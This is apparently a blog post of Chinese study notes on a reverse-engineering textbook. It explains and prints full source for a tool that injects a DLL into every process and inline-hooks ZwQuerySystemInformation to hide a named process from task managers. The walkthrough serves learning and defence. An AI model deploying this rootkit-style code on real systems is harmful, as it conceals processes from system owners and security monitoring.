您的位置:首页 > 其它

逆向工程核心原理读书笔记-API钩取之隐藏进程(一)

2017-06-09 13:32 513 查看
简评:

整体看了下代码,其实就是应用层的inline hook, 钩子勾住ntdll.dll里面的ZwQuerySystemInformation函数, xp环境测试成功了,win7测试失败了,不知道怎么回事,有时间再测试一下。为什么要给所有进程进行dll注入?因为除了taskmgr.exe进程外可能会有其他的进程也会枚举进程(比如自己写了一个枚举进程的程序),为了使这些未知的程序也看不到隐藏进程,对所有进程下的ntdll.dll里面的ZwQuerySystemInformation函数进行了hook。

我们通过一个示例来练习在ProcExp.exe和taskmgr.exe中隐藏进程。钩取前后的原理图如下所示。





下面我们先测试一下代码。关于代码的使用很简单,就不再多说了。



我们来分析一下源代码,看看是怎么实现的。

HideProc.cpp

[cpp] view
plain copy

#include "windows.h"

#include "stdio.h"

#include "tlhelp32.h"

#include "tchar.h"

typedef void (*PFN_SetProcName)(LPCTSTR szProcName);

enum {INJECTION_MODE = 0, EJECTION_MODE};

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

{

TOKEN_PRIVILEGES tp;

HANDLE hToken;

LUID luid;

if( !OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

&hToken) )

{

printf("OpenProcessToken error: %u\n", GetLastError());

return FALSE;

}

if( !LookupPrivilegeValue(NULL, // lookup privilege on local system

lpszPrivilege, // privilege to lookup

&luid) ) // receives LUID of privilege

{

printf("LookupPrivilegeValue error: %u\n", GetLastError() );

return FALSE;

}

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

if( bEnablePrivilege )

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

else

tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if( !AdjustTokenPrivileges(hToken,

FALSE,

&tp,

sizeof(TOKEN_PRIVILEGES),

(PTOKEN_PRIVILEGES) NULL,

(PDWORD) NULL) )

{

printf("AdjustTokenPrivileges error: %u\n", GetLastError() );

return FALSE;

}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )

{

printf("The token does not have the specified privilege. \n");

return FALSE;

}

return TRUE;

}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)

{

HANDLE hProcess, hThread;

LPVOID pRemoteBuf;

DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);

LPTHREAD_START_ROUTINE pThreadProc;

if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

{

printf("OpenProcess(%d) failed!!!\n", dwPID);

return FALSE;

}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,

MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,

(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(L"kernel32.dll"),

"LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0,

pThreadProc, pRemoteBuf, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);

CloseHandle(hProcess);

return TRUE;

}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)

{

BOOL bMore = FALSE, bFound = FALSE;

HANDLE hSnapshot, hProcess, hThread;

MODULEENTRY32 me = { sizeof(me) };

LPTHREAD_START_ROUTINE pThreadProc;

if( INVALID_HANDLE_VALUE ==

(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )

return FALSE;

bMore = Module32First(hSnapshot, &me);

for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )

{

if( !_tcsicmp(me.szModule, szDllPath) ||

!_tcsicmp(me.szExePath, szDllPath) )

{

bFound = TRUE;

break;

}

}

if( !bFound )

{

CloseHandle(hSnapshot);

return FALSE;

}

if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

{

CloseHandle(hSnapshot);

return FALSE;

}

pThreadProc = (LPTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(L"kernel32.dll"),

"FreeLibrary");

hThread = CreateRemoteThread(hProcess, NULL, 0,

pThreadProc, me.modBaseAddr, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);

CloseHandle(hProcess);

CloseHandle(hSnapshot);

return TRUE;

}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)

{

DWORD dwPID = 0;

HANDLE hSnapShot = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe;

// Get the snapshot of the system

pe.dwSize = sizeof( PROCESSENTRY32 );

hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

// find process

Process32First(hSnapShot, &pe);

do

{

dwPID = pe.th32ProcessID;

// 鉴于系统安全性的考虑

// 对于PID小于100的系统进程

// 不执行DLL注入操作

if( dwPID < 100 )

continue;

if( nMode == INJECTION_MODE )

InjectDll(dwPID, szDllPath);

else

EjectDll(dwPID, szDllPath);

}

while( Process32Next(hSnapShot, &pe) );

CloseHandle(hSnapShot);

return TRUE;

}

int _tmain(int argc, TCHAR* argv[])

{

int nMode = INJECTION_MODE;

HMODULE hLib = NULL;

PFN_SetProcName SetProcName = NULL;

if( argc != 4 )

{

printf("\n Usage : HideProc.exe <-hide|-show> "\

"<process name> <dll path>\n\n");

return 1;

}

// change privilege

SetPrivilege(SE_DEBUG_NAME, TRUE);

// load library

hLib = LoadLibrary(argv[3]);

// set process name to hide

SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");

SetProcName(argv[2]);

// Inject(Eject) Dll to all process

if( !_tcsicmp(argv[1], L"-show") )

nMode = EJECTION_MODE;

InjectAllProcess(nMode, argv[3]);

// free library

FreeLibrary(hLib);

return 0;

}

首先通过SetPrivilege函数调用AdjustTokenPrivileges提升权限,然后在InjectAllProcess中使用CreateToolhelp32Snapshot获取系统中运行的所有进程的列表,使用Process32First与Process32Next将获得的进程信息存放到PROCESSENTRY32结构体变量pe中,进而获取进程的PID。获取了进程的PID后,要根据所用的命令选项来选择调用InjectDll函数还是EjectDll函数。当某进程的PID小于100时,鉴于系统安全性的考虑,忽略对它的操作。

下面详细讲解Stealth.dll的源代码(stealth.cpp)。

首先看导出函数SetProcName。先创建名为.SHARE的共享内存节区,然后创建g_szProcName缓冲区,最后再由导出函数SetProcName将要隐藏的进程名称保存到g_szProcName中。

[cpp] view
plain copy

// global variable (in sharing memory)

#pragma comment(linker, "/SECTION:.SHARE,RWS")

#pragma data_seg(".SHARE")

TCHAR g_szProcName[MAX_PATH] = {0,};

#pragma data_seg()

// export function

#ifdef __cplusplus

extern "C" {

#endif

__declspec(dllexport) void SetProcName(LPCTSTR szProcName)

{

_tcscpy_s(g_szProcName, szProcName);

}

#ifdef __cplusplus

}

#endif

下面看DllMain函数。首先比较字符串,若进程名为HideProc.exe则不钩取API。发生DLL_PROCESS_ATTACH事件时,调用hook_by_code函数钩取API;发生DLL_PROCESS_DETACH事件时,调用unhook_by_code函数取消API钩取。

[cpp] view
plain copy

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

{

char szCurProc[MAX_PATH] = {0,};

char *p = NULL;

// #1. 异常处理

// 若当前进程为HookProc.exe则终止,不进行钩取操作

GetModuleFileNameA(NULL, szCurProc, MAX_PATH);

p = strrchr(szCurProc, '\\');

if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )

return TRUE;

switch( fdwReason )

{

// #2. API Hooking

case DLL_PROCESS_ATTACH :

hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

break;

// #3. API Unhooking

case DLL_PROCESS_DETACH :

unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

g_pOrgBytes);

break;

}

return TRUE;

}

接下来是hook_by_code函数,它通过修改代码实现API钩取操作。JMP指令的实际形式为E9 XXXXXXXX,XXXXXXXX=要跳转的地址-当前指令地址-当前指令长度(5)。

[cpp] view
plain copy

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)

{

FARPROC pfnOrg;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {0xE9, 0, };

PBYTE pByte;

// 获取要钩取的API地址

pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pfnOrg;

// 若已经被钩取则返回FALSE

if( pByte[0] == 0xE9 )

return FALSE;

// 向内存添加写属性

VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 备份原有代码(5字节)

memcpy(pOrgBytes, pfnOrg, 5);

// 计算JMP地址 (E9 XXXX)

// => XXXX = pfnNew - pfnOrg - 5

dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;

memcpy(&pBuf[1], &dwAddress, 4);

// Hook:修改5 byte(JMP XXXX)

memcpy(pfnOrg, pBuf, 5);

// 恢复内存属性

VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;

}

unhook_by_code函数是用来取消钩取的函数,原理与hook_by_code函数类似。

[cpp] view
plain copy

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)

{

FARPROC pFunc;

DWORD dwOldProtect;

PBYTE pByte;

// 获取API地址

pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pFunc;

// 若已经脱钩则返回FALSE

if( pByte[0] != 0xE9 )

return FALSE;

// 向内存添加写属性

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Unhook

memcpy(pFunc, pOrgBytes, 5);

// 恢复内存属性

VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;

}

最后分析钩取函数NewZwQuerySystemInformation。隐藏某进程之前,先要查找与之对应的链表成员,然后断开其与链表的链接。

[cpp] view
plain copy

NTSTATUS WINAPI NewZwQuerySystemInformation(

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength)

{

NTSTATUS status;

FARPROC pFunc;

PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

char szProcName[MAX_PATH] = {0,};

// 开始前先脱钩

unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// 调用原始API

pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),

DEF_ZWQUERYSYSTEMINFORMATION);

status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)

(SystemInformationClass, SystemInformation,

SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )

goto __NTQUERYSYSTEMINFORMATION_END;

// 针对SystemProcessInformation类型操作

if( SystemInformationClass == SystemProcessInformation )

{

// SYSTEM_PROCESS_INFORMATION类型转换

// pCur是单向链表的头

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)

{

// 比较进程名称

// g_szProcName为要隐藏的进程名称

// (=> SetProcName()设置)

if(pCur->Reserved2[1] != NULL)

{

if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))

{

// 从链表中删除隐藏进程的节点

if(pCur->NextEntryOffset == 0)

pPrev->NextEntryOffset = 0;

else

pPrev->NextEntryOffset += pCur->NextEntryOffset;

}

else

pPrev = pCur;

}

if(pCur->NextEntryOffset == 0)

break;

// 链表的下一项

pCur = (PSYSTEM_PROCESS_INFORMATION)

((ULONG)pCur + pCur->NextEntryOffset);

}

}

__NTQUERYSYSTEMINFORMATION_END:

// 函数终止前再次执行API钩取操作,为下次调用准备

hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;

}

完整的代码如下。

[cpp] view
plain copy

#include "windows.h"

#include "tchar.h"

#define STATUS_SUCCESS (0x00000000L)

typedef LONG NTSTATUS;

typedef enum _SYSTEM_INFORMATION_CLASS {

SystemBasicInformation = 0,

SystemPerformanceInformation = 2,

SystemTimeOfDayInformation = 3,

SystemProcessInformation = 5,

SystemProcessorPerformanceInformation = 8,

SystemInterruptInformation = 23,

SystemExceptionInformation = 33,

SystemRegistryQuotaInformation = 37,

SystemLookasideInformation = 45

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {

ULONG NextEntryOffset;

ULONG NumberOfThreads;

BYTE Reserved1[48];

PVOID Reserved2[3];

HANDLE UniqueProcessId;

PVOID Reserved3;

ULONG HandleCount;

BYTE Reserved4[4];

PVOID Reserved5[11];

SIZE_T PeakPagefileUsage;

SIZE_T PrivatePageCount;

LARGE_INTEGER Reserved6[6];

} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)

(SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength);

#define DEF_NTDLL ("ntdll.dll")

#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")

// global variable (in sharing memory)

#pragma comment(linker, "/SECTION:.SHARE,RWS")

#pragma data_seg(".SHARE")

TCHAR g_szProcName[MAX_PATH] = {0,};

#pragma data_seg()

// global variable

BYTE g_pOrgBytes[5] = {0,};

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)

{

FARPROC pfnOrg;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {0xE9, 0, };

PBYTE pByte;

// 获取要钩取的API地址

pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pfnOrg;

// 若已经被钩取则返回FALSE

if( pByte[0] == 0xE9 )

return FALSE;

// 向内存添加写属性

VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 备份原有代码(5字节)

memcpy(pOrgBytes, pfnOrg, 5);

// 计算JMP地址 (E9 XXXX)

// => XXXX = pfnNew - pfnOrg - 5

dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;

memcpy(&pBuf[1], &dwAddress, 4);

// Hook

memcpy(pfnOrg, pBuf, 5);

// 恢复内存属性

VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;

}

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)

{

FARPROC pFunc;

DWORD dwOldProtect;

PBYTE pByte;

// 获取API地址

pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pFunc;

// 若已经脱钩则返回FALSE

if( pByte[0] != 0xE9 )

return FALSE;

// 向内存添加写属性

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Unhook

memcpy(pFunc, pOrgBytes, 5);

// 恢复内存属性

VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;

}

NTSTATUS WINAPI NewZwQuerySystemInformation(

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength)

{

NTSTATUS status;

FARPROC pFunc;

PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

char szProcName[MAX_PATH] = {0,};

// 开始前先脱钩

unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// 调用原始API

pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),

DEF_ZWQUERYSYSTEMINFORMATION);

status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)

(SystemInformationClass, SystemInformation,

SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )

goto __NTQUERYSYSTEMINFORMATION_END;

// 针对SystemProcessInformation类型操作

if( SystemInformationClass == SystemProcessInformation )

{

// SYSTEM_PROCESS_INFORMATION类型转换

// pCur是单向链表的头

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)

{

// 比较进程名称

// g_szProcName为要隐藏的进程名称

// (=> SetProcName()设置)

if(pCur->Reserved2[1] != NULL)

{

if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))

{

// 从链表中删除隐藏进程的节点

if(pCur->NextEntryOffset == 0)

pPrev->NextEntryOffset = 0;

else

pPrev->NextEntryOffset += pCur->NextEntryOffset;

}

else

pPrev = pCur;

}

if(pCur->NextEntryOffset == 0)

break;

// 链表的下一项

pCur = (PSYSTEM_PROCESS_INFORMATION)

((ULONG)pCur + pCur->NextEntryOffset);

}

}

__NTQUERYSYSTEMINFORMATION_END:

// 函数终止前再次执行API钩取操作,为下次调用准备

hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

{

char szCurProc[MAX_PATH] = {0,};

char *p = NULL;

// #1. 异常处理

// 若当前进程为HookProc.exe则终止,不进行钩取操作

GetModuleFileNameA(NULL, szCurProc, MAX_PATH);

p = strrchr(szCurProc, '\\');

if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )

return TRUE;

switch( fdwReason )

{

// #2. API Hooking

case DLL_PROCESS_ATTACH :

hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

break;

// #3. API Unhooking

case DLL_PROCESS_DETACH :

unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,

g_pOrgBytes);

break;

}

return TRUE;

}

#ifdef __cplusplus

extern "C" {

#endif

__declspec(dllexport) void SetProcName(LPCTSTR szProcName)

{

_tcscpy_s(g_szProcName, szProcName);

}

#ifdef __cplusplus

}

#endif
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: